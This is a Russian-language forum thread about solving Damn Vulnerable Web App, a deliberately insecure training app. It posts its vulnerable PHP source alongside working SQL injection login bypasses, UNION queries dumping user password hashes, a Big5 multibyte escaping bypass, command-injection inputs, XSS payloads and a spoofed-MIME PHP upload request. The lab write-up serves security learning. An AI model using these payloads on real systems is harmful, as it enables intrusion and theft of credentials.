Просмотр полной версии : Damn Vulnerable Web App. Тренировочная площадка.
Это веб-приложение - тренировочная площадка для испытания и совершенствования своих навыков в поиске и использовании веб-уязвимостей.
Имеет три уровня безопасности(сложности).
Поддерживает следующие виды атак:
*SQL Injection
*XSS (Cross Site Scripting)
*LFI (Local File Inclusion)
*RFI (Remote File Inclusion)
*Command Execution
*Upload Script
*Login Brute Force
*и многие другие..
Для использования необходим вебсервер + база данных MySQL
Видео с наиподробнейшим описанием и инструкцией можно посмотреть здесь: http://www.youtube.com/watch?v=GzIj07jt8rM
Подробности на оф.сайте: http://www.ethicalhack3r.co.uk/
Скачать dvwa v1.0.4: dvwa v1.0.4: http://sourceforge.net/projects/dvwa
Если не ошибаюсь это поддельный вебсервер для поиска бага. Вот готовые тест сайты для пентеста и проверки своих навыков:
SPI Dynamics (live) - http://zero.webappsecurity.com/
Cenzic (live) - http://crackme.cenzic.com/
Watchfire (live) - http://demo.testfire.net/
Acunetix (live) - http://testphp.acunetix.com/ http://testasp.acunetix.com http://testaspnet.acunetix.com
WebMaven / Buggy Bank - http://www.mavensecurity.com/webmaven
Foundstone SASS tools - http://www.foundstone.com/us/resources-free-tools.asp
Updated HackmeBank - http://www.o2-ounceopen.com/technical-info/2008/12/8/updated-version-of-hacmebank.html
OWASP WebGoat - http://www.owasp.org/index.php/OWASP_WebGoat_Project
OWASP SiteGenerator - http://www.owasp.org/index.php/Owasp_SiteGenerator
Stanford SecuriBench - http://suif.stanford.edu/~livshits/securibench/
SecuriBench Micro - http://suif.stanford.edu/~livshits/work/securibench-micro/
ТС, ты бы еще сюда ссылки на игровые образы CTF выложил :) пусть народ потренируется
для тех кто пытался проходить...
1) уровень "Low"->Brute force
$user=$_GET['username'];
$pass=$_GET['password'];
$pass = md5($pass);
$qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
Обошел так:
логин: admin'#
пароль: можно оставить пустым, так как уязвим только логин.
Вопрос: почему не сработало admin'--+ (в качестве тренировочной площадки - денвер)
уровень "Medium"->Brute force
$user = $_GET['username'];
$user = mysql_real_escape_string($user);
$pass=$_GET['password'];
$pass = mysql_real_escape_string($pass);
$pass = md5($pass);
$qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
Опять же уязвимость в поле логин.
Вопрос: реально ли обойти mysql_real_escape_string()? или здесь токо брутфорс поможет?
Nik(rus)
06.12.2009, 16:49
It's easy
В SQL-Inj на medium:
-1 UNION SELECT 1,2 /*
1 и 2 подставляем как хотим, а вместо строк узаем HEX
уровень "Medium"->Brute force
$user = $_GET['username'];
$user = mysql_real_escape_string($user);
$pass=$_GET['password'];
$pass = mysql_real_escape_string($pass);
$pass = md5($pass);
$qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
Опять же уязвимость в поле логин.
Вопрос: реально ли обойти mysql_real_escape_string()? или здесь токо брутфорс поможет?
Функция mysql_real_escape_string() экранирует кавычки, поэтому выполнить обход авторизации нельзя.
It's easy
В SQL-Inj на medium:
-1 UNION SELECT 1,2 /*
1 и 2 подставляем как хотим, а вместо строк узаем HEX
Че-то не понял тебя, ты этим хочешь обойти авторизацию? В post-инъекции?
ficrowns
06.12.2009, 23:28
кому интересно - существует ещё Damn Vulnerable Linux :)
damnvulnerablelinux.org
Че-то не понял тебя, ты этим хочешь обойти авторизацию? В post-инъекции?
Он просто не совсем полностью выложил скуль:
-1 UNION SELECT password,2 FROM USERS--
И получаем всех юзверов.
В Command Execution на Лов лвл, можно юзать дополнительно команды, разделяя их как в Линуксе так и в Винде амперсандами, пример:
ya.ru && cd C:/ && DIR
На выходе получаем пинг, переход в диск Ц, и список файлов и папок. Ну а дальше от фантазии зависит.
ЗЫ Доступна версия 1.0.6, давайте не спим делимся опытом, кто что нашел интересного, я только начал.
Nik(rus)
08.12.2009, 19:31
Вот как я ломал :)
1.Low SQL-Inj
-1' UNION SELECT concat_ws(0x3A,user(),version(),database()),'ololo sql :D'/*
Узнаем инфу, дальше:
-1' UNION SELECT table_name,'table' FROM information_schema.tables WHERE table_schema='dvwa'/*
Тут узнали таблицы, дальше:
-1' UNION SELECT column_name,'column' FROM information_schema.columns WHERE table_schema='dvwa'/*
Так узнаем колонки, и наконец:
-1' UNION SELECT concat_ws(0x3A,user_id,first_name,last_name,user,p assword,avatar),concat('info about ',first_name,' aka ',user) FROM users/*
Юзверята :D
2. Low Brute
Тут 2 пути:
1) Через скулю (это вооонтам наверху) достаем хэши, брутим на hashcracking,gdataonline, md5.rednoise etc, благо пароли слабые
2)
Логин: admin' /*
Пасс: ололо админ школота
Ну и угадайте что происходит :)
3. Low Command Execution
127.0.0.1 && dir C:\
Наблюдаем пинг 127.0.0.1 и листинг диска C:\
4. Low Upload
No comments aka тупо льем
5. Low File Inclusion
http://site/fi_content.php => инклудит файлы из корня
Тут видно, что есть связка - LFI и Upload Vuln, берем сканер по хеадерам и сканим известные диры aka up, upload, uploads и находим uploads с прямым листингом :)
6. XSS
</pre><script>alert('xss :D')</script><pre>some HaCkEr
Видим тупую XSS
7. BONUS:
в медиум SQL-Inj:
-1 UNION SELECT concat_ws(0x3A,user(),version(),database()),2/*
Вот такие пироги :)
С последующими уровнями становится больше и больше фильтров, но как говорится на каждый замок - своя отмычка
Он просто не совсем полностью выложил скуль:
-1 UNION SELECT password,2 FROM USERS--
И получаем всех юзверов.
Я так понял, данные вытаскиваете через SQL injection (это само собой). Я наверно не так задал вопрос: меня интересует можно ли обойти авторизацию при medium, НЕ ИСПОЛЬЗУЯ уязвимостей других разделов.
можно, заюзав многобайтные кодировки big5 сотоварищи
можно, заюзав многобайтные кодировки big5 сотоварищи
а разве mysql_real_escape_string() не учитывает кодировку?
вот статья от raz0ra на эту тему __http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
Проверьте сами. Если с кодировкой Big5 заюзать урл
http://127.0.0.1/dvwa/vulnerabilities/brute/?username=%a3%27+or+1=1+limit+1%23&password=111&Login=Login#
Получите мессагу Welcome to the password protected area
The matrix
06.01.2010, 20:21
Посмотрел площадку. Ничего лишнего. сорец с табличной уязвимостью, которую и искать даже не надо. Лучше потратить время с большой пользой используя не тренировочную площадку, а боевую.
Все же поигрался в нее(В sql inj, file upload, LFI/RFI, comand exec). Вот что наигарал.
Начал с comand exec.
Задача сводится к тому, чтобы вспонить альтернативу рзделялке "&&" for win; ";" for linux
Проходил на винде.
LOW:
<?php
if (isset($_POST["submit"])) {
$target = $_REQUEST["ip"];
echo "<pre>";
echo shell_exec("ping " . $target);
echo "</pre>";
}
?>
Решение
ip=127.0.0.1 && dir
MED
<?php
if (isset($_POST["submit"])) {
$target = $_REQUEST["ip"];
$target = str_replace("&&", "", $target);
$target = str_replace(";", "", $target);
echo "<pre>";
echo shell_exec("ping " . $target);
echo "</pre>";
}
?>
Решение
Вместо && можно юзать &
ip=127.0.0.1 & dir
HIGH
<?php
if (isset($_POST["submit"])) {
$target = $_REQUEST["ip"];
$target = str_replace("&&", "", $target);
$target = str_replace(";", "", $target);
$target = str_replace("-", "", $target);
$target = str_replace("?", "", $target);
$target = str_replace("||", "", $target);
$target = str_replace("|", "", $target);
$target = stripslashes($target);
if ($target == ""){}
else{
echo "<pre>";
echo shell_exec("ping " . $target);
echo "</pre>";
}
}
?>
Фильтр на & Нету. Т.Е решение то же самое что и для MED
Посмотрел еще upload
LOW
без комментов
MED
<?php
if (isset($_POST['Upload'])) {
$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>Your image was not uploaded.</pre>';
} else {
echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
Скрипт требует чтобы
$_FILES['uploaded']['type'] был "image/jpeg".
Решение:
Не хитро обходится. Тайп можно сменить. Отправляем php-шный файл и сниффаем пакет. У меня получилось так.
POST /dvwa/upload.php HTTP/1.0
User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/dvwa/upload.php
Cookie: security=medium
Cookie2: $Version=1
Proxy-Connection: close
Content-Type: multipart/form-data; boundary=----------Wq88LdnEt7BT8nll12ssLT
Content-Length: 397
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
Content-Type: application/octet-stream
<? phpinfo(); ?>
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="Upload"
Upload
------------Wq88LdnEt7BT8nll12ssLT--
изменяем его следующим образом:
POST /dvwa/upload.php HTTP/1.0
User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/dvwa/upload.php
Cookie: security=medium
Cookie2: $Version=1
Proxy-Connection: close
Content-Type: multipart/form-data; boundary=----------P6JvptCJ2eLEJPIrEFeNot
Content-Length: 397
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
Content-Type: image/jpeg
<? phpinfo(); ?>
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="Upload"
Upload
------------P6JvptCJ2eLEJPIrEFeNot--
Результат: fuck.php succesfully uploaded!
High
<?php
if (isset($_POST['Upload'])) {
$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>Your image was not uploaded.</pre>';
} else {
echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
Не разобрался.
Еще пытался найти решение на sql inj
<?php
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo "<pre>ID: $id<br>First name: $first<br>Surname: $last</pre>";
$i++;
}
}
?>
Тоже не понял,как эту систему пройти. Если кто разберется, отпишите.
LFI/RFI не стал писать, там уж совсем просто.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot